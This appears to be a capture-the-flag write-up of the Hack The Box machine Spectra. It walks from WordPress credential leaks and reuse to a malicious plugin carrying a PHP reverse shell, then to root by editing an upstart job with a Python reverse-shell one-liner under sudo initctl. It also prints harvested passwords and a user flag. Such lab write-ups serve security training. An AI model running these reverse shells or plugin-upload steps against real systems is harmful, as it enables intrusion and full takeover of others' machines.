Hello guys!
This weekās machine will be Spectra, another easy-rated box from Hack The Box, created by egre55.
Info
Write-ups for Hack The Box machines are posted as soon as theyāre retired.
Enumeration
As usual, started with a quick nmap scan to enumerate all published services in this box.
$ target=10.10.10.229; nmap -sC -sV -Pn -oA quick $targetHost discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-12 12:57 ESTNmap scan report for 10.10.10.229Host is up (0.079s latency).Not shown: 997 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.1 (protocol 2.0)| ssh-hostkey:|_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)80/tcp open http nginx 1.17.4|_http-server-header: nginx/1.17.4|_http-title: Site doesn't have a title (text/html).3306/tcp open mysql MySQL (unauthorized)|_ssl-cert: ERROR: Script execution failed (use -d to debug)|_ssl-date: ERROR: Script execution failed (use -d to debug)|_sslv2: ERROR: Script execution failed (use -d to debug)|_tls-alpn: ERROR: Script execution failed (use -d to debug)|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 40.73 seconds80/TCP - HTTP Service
After first access to this service, we notice a quite simple HTML page containing a message and two links.
While inspecting the source code of this page, we can see that both links refer to assets located at spectra.htb domain, which was later added to the local hosts file to correct name resolution.

<h1>Issue Tracking</h1>
<h2>Until IT set up the Jira we can configure and use this for issue tracking.</h2>
<h2><a href="http://spectra.htb/main/index.php" target="mine">Software Issue Tracker</a></h2><h2><a href="http://spectra.htb/testing/index.php" target="mine">Test</a></h2>Accessing both links, I have noticed that these were WordPress websites but only the first (Software Issue Tracker) was working properly while the second (Test), was displaying a database connection error.


WPScan
To gather more information about both WordPress sites, executed WPScan against them, but only worked to the first once the Test wasnāt working correctly.
wpscan --url <url> -e vp,vt,tt,cb,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive -f cli-no-color 2>&1 | tee "./wpscan_<url>.txt"The following information was identified for the main (Software Issue Tracking) website:
- WordPress version: 5.4.2
- Users: administrator
Proceeding with a manual enumeration, also noticed that for Testing website thereās no redirect to index.php, allowing us to list the directory content, allowing us to spot an interesting file: wp-config.php.save.

As this file isnāt with the *.php extension, it wonāt be interpreted by the webserver, allowing us to download it, as the command line below.
wget http://spectra.htb/testing/wp-config.php.saveInspecting its content, we can see the credentials for user devtest, as listed below:
Username: devtestPassword: devteam01
// ** MySQL settings - You can get this info from your web host ** ///** The name of the database for WordPress */define( 'DB_NAME', 'dev' );
...skipping 1 linedefine( 'DB_USER', 'devtest' );
/** MySQL database password */define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */define( 'DB_COLLATE', '' );As the nmap enumeration listed a MySQL database, tried to use these creds to authenticate to it but the source IP wasnāt allowed to connect to the specified instance, preventing us to harvest some sensitive information from the database.
$ mysql -u devtest -p -h spectra.htbEnter password:ERROR 1130 (HY000): Host '10.10.10.10' is not allowed to connect to this MySQL serverAs credential reuse is a common thing, tried to authenticate to WordPress with the password found for the username administrator and had success in it!

Initial Access
Once we have access to the WordPress administration console, there are several ways to get a reverse shell with this permission, being the most common the upload of a malicious plugin to it with a web shell or reverse shell payload.
The easiest way would use the wp_admin_shell_upload module from Metasploit Framework but, if youāre preparing for the OSCP exam, where you should wisely choose when to use the msfconsole, using it for this isnāt a good idea :smile:.
So, to create this plugin, I have executed the following steps:
- Created a file with the plugin header. This header must follow the minimum requirements as documented on Header Requirements | Plugin Developer Handbook | WordPress Developer Resources. In our case Iāve created the file
evilplugin.phpwith the contents below:
/** * Plugin Name: evilplugin * Version: 1.0 * Author: evilauthor * Author URI: http://evilplugin.test.com * License: GPL2 */- Create another file with the desired payload. In this case, as my objective is to directly get a reverse shell, made a copy of Pentest Monkeyās PHP reverse shell, changing the details to my IP address and port, saving it as
exploit.php.
// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '10.10.10.10'; // CHANGE THIS$port = 4443; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;- Compress the file as below, where the file name must be the same as the plugin header with the zip extension.
$ zip evilplugin.zip evilplugin.php exploit.php adding: evilplugin.php (deflated 9%) adding: exploit.php (deflated 59%)- Once created, accessed the WordPress portal, authenticated with the administrative account and, from the left side, selected the options Plugins > Add New and, at the top of the page, hit the button Upload Plugin

- Initialize the listener according to the configured payload. In our case, Iāve started a
netcatlistener using the command line below
nc -lnvp 4443- Selected the zip file and hit the button Install Now

- As soon as the install request is processed, is important to issue the request to the file location under the WordPress folder structure. The command line below uses
curlto make the request, but you could use your browser as well.
curl -L http://spectra.htb/main/wp-content/plugins/evilplugin/exploit.phpAfter this process, we should receive a connection from the victim machine, we below: :smiley:
$ nc -lnvp 4443listening on [any] 4443 ...connect to [10.10.10.10] from (UNKNOWN) [10.10.10.229] 43298Linux spectra 5.4.66+ #1 SMP Tue Dec 22 13:39:49 UTC 2020 x86_64 AMD EPYC 7401P 24-Core Processor AuthenticAMD GNU/Linux 08:41:48 up 4 min, 0 users, load average: 0.26, 0.31, 0.17USER TTY LOGIN@ IDLE JCPU PCPU WHATuid=20155(nginx) gid=20156(nginx) groups=20156(nginx)nginx@spectra / $ ididuid=20155(nginx) gid=20156(nginx) groups=20156(nginx)nginx@spectra / $Tip
There are several ways to achieve the same outcome not using the Metasploit framework. You could inject code into a Theme file or even use other scripts/tools available like n00py/WPForce: WordPress Attack Suite (github.com), which automates this and other tasks frequently used while compromising WordPress sites.
User flag
After the initial access, initiated the machine enum using linpeas.sh, where the following details were identified:
- User: nginx, without any special privileges (
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)) - Operating System: Chromium OS 11.0_pre399094_p20200824-r6
- Content published using Nginx from
/usr/local/share/nginx/htmldirectory, vide file path ofwp-config.phpfiles, where the creds below were also harvested:
| site | Username | Password |
|---|---|---|
| main | dev | development01 |
| testing | devtest | devteam01 |
- Users with console access, being a possible elevation path, as well as their privileges:
[+] Users with consolechronos:x:1000:1000:system_user:/home/chronos/user:/bin/bashkatie:x:20156:20157::/home/katie:/bin/bashroot:x:0:0:root:/root:/bin/bash
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)uid=1001(chronos-access) gid=1001(chronos-access) groups=1001(chronos-access)- MySQL Ver 14.14 Distrib 5.7.20-19, for Linux (x86_64) using 6.3
- Possible SSH keys
/usr/share/chromeos-ssh-config/keys/authorized_keys/usr/share/chromeos-ssh-config/keys/id_rsa/usr/share/chromeos-ssh-config/keys/id_rsa.pub- Uncommon passwd files, being one of them for autologin containing the password SummerHereWeCome!!
[+] Searching uncommon passwd files (splunk)passwd file: /etc/autologin/passwdpasswd file: /etc/pam.d/passwdpasswd file: /usr/share/baselayout/passwd
/etc/autologin/passwd-rw-r--r-- 1 root root 19 Feb 3 16:43 /etc/autologin/passwdSummerHereWeCome!!- File
user.txtat katieās home path, seen from a manual enumeration.
Once we have found some passwords, decided to test them for users katie and chronos, being successful with the combination katie:SummerHereWeCome!!
With access to this profile, got the user flag in her home directory
katie@spectra ~ $ iduid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)katie@spectra ~ $ cat user.txte89d27fe195e9114ffa72ba8913a6130katie@spectra ~ $Root flag
As we had katieās password, the first thing I did was to check if she was able to run something as root, as the following entry was found.
katie@spectra ~ $ sudo -lUser katie may run the following commands on spectra: (ALL) SETENV: NOPASSWD: /sbin/initctlkatie@spectra ~ $Checking the binary, identified that it could be used to control jobs in the machine, as instructed below, but we would need to tamper with one of these jobs to get root access.
katie@spectra ~ $ /sbin/initctl helpJob commands: start Start job. stop Stop job. restart Restart job. reload Send HUP signal to job. status Query status of job. list List known jobs.
Event commands: emit Emit an event.
Other commands: reload-configuration Reload the configuration of the init daemon. version Request the version of the init daemon. log-priority Change the minimum priority of log messages from the init daemon show-config Show emits, start on and stop on details for job configurations. help display list of commandsOnce katieās is a member of the developers group, decided to look for files where this group was under the permissions and found some files in /etc/init folder, listed as jobs by initctl.
katie@spectra ~ $ find / -group developers 2>/dev/null/etc/init/test6.conf/etc/init/test7.conf/etc/init/test3.conf/etc/init/test4.conf/etc/init/test.conf/etc/init/test8.conf/etc/init/test9.conf/etc/init/test10.conf/etc/init/test2.conf/etc/init/test5.conf/etc/init/test1.conf/srv/srv/nodetest.jskatie@spectra ~ $ ls -la /etc/init/test*-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test1.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test10.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test2.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test3.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test4.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test5.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test6.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test7.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test8.conf-rw-rw---- 1 root developers 478 Jun 29 2020 /etc/init/test9.confTo gain root access, I just needed to change one of the job files to get a reverse shell and then get the rootās flag.
I have chosen the file /etc/init/test10.conf, which had the content below, and changed only the script section, as the second block shared below.
katie@spectra ~ $ cat /etc/init/test10.confdescription "Test node.js server"author "katie"
start on filesystem or runlevel [2345]stop on shutdown
script
export HOME="/srv" echo $$ > /var/run/nodetest.pid exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script# Edited portionscript python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'end scriptAfter editing the file, initiated the netcat listener and stopped and started again the job, getting a reverse shell
# At Spectra as Kalikatie@spectra /etc/init $ sudo /sbin/initctl stop test10initctl: Unknown instance:katie@spectra /etc/init $ sudo /sbin/initctl start test10test10 start/running, process 4947# At attacker machine$ nc -lnvp 4443listening on [any] 4443 ...connect to [10.10.10.10] from (UNKNOWN) [10.10.10.229] 33606# iduid=0(root) gid=0(root) groups=0(root)# whoamiroot# cat /root/root.txt<redacted>I hope you guys have enjoyed it!
See you in the next post :smiley: